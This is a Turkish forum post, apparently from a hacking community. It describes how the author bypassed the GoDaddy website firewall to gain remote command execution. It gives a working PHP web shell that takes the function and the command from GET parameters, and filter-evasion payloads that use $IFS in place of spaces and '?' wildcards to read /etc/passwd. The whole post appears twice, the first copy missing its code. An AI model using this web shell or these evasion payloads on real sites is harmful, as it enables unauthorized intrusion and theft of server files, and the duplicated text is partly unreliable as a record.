Selamlar,
Geçen senelerde karşılaştığım “Godaddy Firewall” sistemini nasıl atlattığımı anlatacağım. Ayrıyeten bu konu “Firewall Bypass” konusunda genel bir mantık oluşturmanızda fayda sağlayacaktır.
1) Firewall Nedir ?
2) Godaddy Firewall Bypass
3) RCE Bypass
4) Demo Uygulama
Firewall Nedir ?
Firewall, kendisine tanımlanmış kurallar çerçevesinde gelen/giden trafiği kontrol eden ve gerektiğinde bu trafiğin akışına müdahalede bulunan, bunları loglayabilen sistemlerdir. Bizim konumuzda bahsi geçen ise “Web Application Firewall” yani , web uygulamalarına gelen istekleri kontrol edip, bu istek ile kendisine tanımlı saldırı vektörlerinden biri arasında eşleme yapılması durumunda gelen isteği engellemeye yarayan yazılımlardır. Biraz basitten anlatmak gerekirse siteye SQL Injection payloadı denediğinizde, bu sitenin sizin payloadınızı yorumlaya başlamadan önce Firewall’ın araya girip buna engel olması, firewalların basit manada çalışma mantığını oluşturur.
Firewall konusunu burada bırakıyoruz, zira uzun bir konu. Biz asıl konumuz olan Godaddy Firewall üzerinden devam edip güvenliğin nasıl atlatılacağını görelim.
Godaddy Firewall Bypass
Biz burada Godaddy Firewall şeklinde bahsetsekde konu içerisinde bahsedilen yöntem, diğer farklı firewall sistemleri bypass etme işlemlerinde de kullanılıp başarılı sonuçlar alınabilir. Firewall bypass işlemlerinin genel kuralı “firewall ötmesine” sebep olan kod/payload parçacıklarımızın aynı işlevi yerine getirmesini dolaylı yollardan sağlamaktır. Kodların encode, obfuscate edilmesi bypass amacıyla gerçekleştirilen yöntemlerin en bilinenleridir ve bu yöntemler ile de Godaddy Firewall Bypass işlemi gerçekleştirilebiliyor, fakat bu yazıda bu yöntemlere değinmeyeceğiz
Godaddy Firewall, upload işlemleri sırasında yüklenen dosyanın içeriğini kontrol ediyor ve sistemde komut çalıştırabilmenizi sağlayan kodların (system, eval, shell_exec vs.) varlığı durumunda upload işlemini gerçekleştirmiyor ve sizi firewall hata sayfasına yönlendiriyor.
Bu firewall genel manada PHP de sıkça kullanılan “system” , “exec” gibi fonksiyonlar engelleyerek zararlı yazılım yüklenmesini önlemeye çalışıyor. Fakat biz bu komutları dosyamızın içeriğinde değilde yüklediğimiz dosya vasıtası ile GET methoduyla site üzerinden kullanıp atlayabilir miyiz ? Hemen test edelim …
Görüldüğü üzere malum fonksiyonlar da “Access Denied - GoDaddy Website Firewall” yazısıyla karşı karşıya geliyoruz. Yukarıda dediğim gibi bu firewalli bypass etmek için farklı yöntemler mevcut bu yazıda bunlardan bir tanesine değineceğim, başka bir konuda diğer yöntemler ayrıyeten ele alınabilir.
Bypass için php dosyamızın içeriğini şu şekilde değiştiriyoruz ;
ve sonuç ;
Başarıyla upload işlemi gerçekleşti. Şimdi de bu dosya ile komut çalıştıralım.
Sorunsuz bir şekilde komut çalıştırabiliyoruz. Fakat aslında bir sorun var, bu soruna aşağıdaki bölümden devam edelim.
Remote Command Execution Bypass
Bu kısmı anlatmadan önce belirtmek isterim ki “Command Execution Bypass” işlemleri burada anlatılanlardan ibaret değildir. Fazlasıyla uzun bir konu, bundan dolayı bunu ayrı bir konu içerisinde detaylıca ele almayı düşünüyorum. Şimdi Godaddy Firewall’ın bulunması durumunda gerçekleştirilebilecek bypass işlemlerinden bir tanesini görelim.
Şimdi arkadaşlar yukarıda ki fotoğraflardan gördüğünüz üzere yükleme işlemi ve “pwd” komutunu çalıştırmayı başardık. Fakat “pwd” veya “ls” gibi komutlar sorunsuz çalışıyorken içerisinde “boşluk” karakteri içeren veyahut “/etc/passwd” kelimesini içeren komutlar girdiğimiz durumlarda Godaddy Firewall tekrardan ötmeye başlıyor.
→ Boşluk karakterine verdiği tepki
“cat index.php” komutu içerdiği “boşluk” karakterinden dolayı Firewall tarafından engelleniyor.
Bu engeli aşmak için Linux sistemlerde bulunan “IFS (Internal Field Separator)” ayıracını kullanacağız. IFS, bir yazıyı belirli karakterlere göre ayırma işlemini yapar.
Burada “Jonturk75:RootDevilz:Bozkurt97” şeklindeki yazımız için IFS’yi “:” olarak atadık ve dosyayı çalıştırdığımızda her bir “:” karakterine göre ayırma işlemi gerçekleştirdi.
Biz bu “$IFS” yi “Boşluk” karakterine alternatif olarak kullanabiliyoruz ve bu sayede “Boşluk” karakteri filtreli olması durumlarında filtre bypass işlemlerinde kullanabiliyoruz.
Evet bu sayede “index.php” dosyasını okumayı başardık.
Fakat Godaddy Firewall sadece “boşluk” karakterini değil, aynı zamanda “/etc/passwd” kelimesini de filtreliyor. Şimdi bunu inceleyelim.
→ /etc/passwd içeren payload için verdiği tepki
“cat$IFS/etc/passwd” komutunu girdik, boşluk karakteri için $IFS kullandık fakat yine “Godaddy Firewall” sayfası ile karşılaştık.
Bunu bypass etmenin de farklı yolları bulunuyor, bunlardan bir tanesini görelim ve olayın işleyişi üzerine konuşalım.
“cat$IFS/et?/passw?” gibi bir payload ile passwd dosyasını okumayı başardık. Peki bu nasıl gerçekleşti ?
“Soru işareti” wildcardı Linux sistemler üzerinde karakterleri temsil eder. Yani tek bir soru işareti tek haneli , iki soru işareti iki haneli değerleri işaret eder. Şöyle bir resim ile daha rahat anlayabilirsiniz ;
Resmi incelerseniz “ls -l ?” yapıldığı durumda tek haneli olan “j” dosyası, “ls -l ??” yapıldığı durumda iki haneli “rr” dosyası görüntülendi.
Yani biz bypass işlemini gerçekleştirirken “/etc/passwd” yerine “/et?/passw?” girerek Linuxa başka bir şekilde /etc/passwd demiş olduk.
Demo Uygulama
Jonturk @ JRBops
Geçen senelerde karşılaştığım “Godaddy Firewall” sistemini nasıl atlattığımı anlatacağım. Ayrıyeten bu konu “Firewall Bypass” konusunda genel bir mantık oluşturmanızda fayda sağlayacaktır.
1) Firewall Nedir ?
2) Godaddy Firewall Bypass
3) RCE Bypass
4) Demo Uygulama
Firewall Nedir ?
Firewall, kendisine tanımlanmış kurallar çerçevesinde gelen/giden trafiği kontrol eden ve gerektiğinde bu trafiğin akışına müdahalede bulunan, bunları loglayabilen sistemlerdir. Bizim konumuzda bahsi geçen ise “Web Application Firewall” yani , web uygulamalarına gelen istekleri kontrol edip, bu istek ile kendisine tanımlı saldırı vektörlerinden biri arasında eşleme yapılması durumunda gelen isteği engellemeye yarayan yazılımlardır. Biraz basitten anlatmak gerekirse siteye SQL Injection payloadı denediğinizde, bu sitenin sizin payloadınızı yorumlaya başlamadan önce Firewall’ın araya girip buna engel olması, firewalların basit manada çalışma mantığını oluşturur.
Firewall konusunu burada bırakıyoruz, zira uzun bir konu. Biz asıl konumuz olan Godaddy Firewall üzerinden devam edip güvenliğin nasıl atlatılacağını görelim.
Godaddy Firewall Bypass
Biz burada Godaddy Firewall şeklinde bahsetsekde konu içerisinde bahsedilen yöntem, diğer farklı firewall sistemleri bypass etme işlemlerinde de kullanılıp başarılı sonuçlar alınabilir. Firewall bypass işlemlerinin genel kuralı “firewall ötmesine” sebep olan kod/payload parçacıklarımızın aynı işlevi yerine getirmesini dolaylı yollardan sağlamaktır. Kodların encode, obfuscate edilmesi bypass amacıyla gerçekleştirilen yöntemlerin en bilinenleridir ve bu yöntemler ile de Godaddy Firewall Bypass işlemi gerçekleştirilebiliyor, fakat bu yazıda bu yöntemlere değinmeyeceğiz
Godaddy Firewall, upload işlemleri sırasında yüklenen dosyanın içeriğini kontrol ediyor ve sistemde komut çalıştırabilmenizi sağlayan kodların (system, eval, shell_exec vs.) varlığı durumunda upload işlemini gerçekleştirmiyor ve sizi firewall hata sayfasına yönlendiriyor.
Bu firewall genel manada PHP de sıkça kullanılan “system” , “exec” gibi fonksiyonlar engelleyerek zararlı yazılım yüklenmesini önlemeye çalışıyor. Fakat biz bu komutları dosyamızın içeriğinde değilde yüklediğimiz dosya vasıtası ile GET methoduyla site üzerinden kullanıp atlayabilir miyiz ? Hemen test edelim …
<?php system("ls"); ?>
<?php echo exec("ls"); ?>
Görüldüğü üzere malum fonksiyonlar da “Access Denied - GoDaddy Website Firewall” yazısıyla karşı karşıya geliyoruz. Yukarıda dediğim gibi bu firewalli bypass etmek için farklı yöntemler mevcut bu yazıda bunlardan bir tanesine değineceğim, başka bir konuda diğer yöntemler ayrıyeten ele alınabilir.
Bypass için php dosyamızın içeriğini şu şekilde değiştiriyoruz ;
<?php $_GET["function"]($_GET["command"]); ?>
ve sonuç ;
Başarıyla upload işlemi gerçekleşti. Şimdi de bu dosya ile komut çalıştıralım.
Sorunsuz bir şekilde komut çalıştırabiliyoruz. Fakat aslında bir sorun var, bu soruna aşağıdaki bölümden devam edelim.
Remote Command Execution Bypass
Bu kısmı anlatmadan önce belirtmek isterim ki “Command Execution Bypass” işlemleri burada anlatılanlardan ibaret değildir. Fazlasıyla uzun bir konu, bundan dolayı bunu ayrı bir konu içerisinde detaylıca ele almayı düşünüyorum. Şimdi Godaddy Firewall’ın bulunması durumunda gerçekleştirilebilecek bypass işlemlerinden bir tanesini görelim.
Şimdi arkadaşlar yukarıda ki fotoğraflardan gördüğünüz üzere yükleme işlemi ve “pwd” komutunu çalıştırmayı başardık. Fakat “pwd” veya “ls” gibi komutlar sorunsuz çalışıyorken içerisinde “boşluk” karakteri içeren veyahut “/etc/passwd” kelimesini içeren komutlar girdiğimiz durumlarda Godaddy Firewall tekrardan ötmeye başlıyor.
→ Boşluk karakterine verdiği tepki
“cat index.php” komutu içerdiği “boşluk” karakterinden dolayı Firewall tarafından engelleniyor.
Bu engeli aşmak için Linux sistemlerde bulunan “IFS (Internal Field Separator)” ayıracını kullanacağız. IFS, bir yazıyı belirli karakterlere göre ayırma işlemini yapar.
Burada “Jonturk75:RootDevilz:Bozkurt97” şeklindeki yazımız için IFS’yi “:” olarak atadık ve dosyayı çalıştırdığımızda her bir “:” karakterine göre ayırma işlemi gerçekleştirdi.
Biz bu “$IFS” yi “Boşluk” karakterine alternatif olarak kullanabiliyoruz ve bu sayede “Boşluk” karakteri filtreli olması durumlarında filtre bypass işlemlerinde kullanabiliyoruz.
Evet bu sayede “index.php” dosyasını okumayı başardık.
Fakat Godaddy Firewall sadece “boşluk” karakterini değil, aynı zamanda “/etc/passwd” kelimesini de filtreliyor. Şimdi bunu inceleyelim.
→ /etc/passwd içeren payload için verdiği tepki
“cat$IFS/etc/passwd” komutunu girdik, boşluk karakteri için $IFS kullandık fakat yine “Godaddy Firewall” sayfası ile karşılaştık.
Bunu bypass etmenin de farklı yolları bulunuyor, bunlardan bir tanesini görelim ve olayın işleyişi üzerine konuşalım.
“cat$IFS/et?/passw?” gibi bir payload ile passwd dosyasını okumayı başardık. Peki bu nasıl gerçekleşti ?
“Soru işareti” wildcardı Linux sistemler üzerinde karakterleri temsil eder. Yani tek bir soru işareti tek haneli , iki soru işareti iki haneli değerleri işaret eder. Şöyle bir resim ile daha rahat anlayabilirsiniz ;
Resmi incelerseniz “ls -l ?” yapıldığı durumda tek haneli olan “j” dosyası, “ls -l ??” yapıldığı durumda iki haneli “rr” dosyası görüntülendi.
Yani biz bypass işlemini gerçekleştirirken “/etc/passwd” yerine “/et?/passw?” girerek Linuxa başka bir şekilde /etc/passwd demiş olduk.
Demo Uygulama
Jonturk @ JRBops
Moderatör tarafında düzenlendi: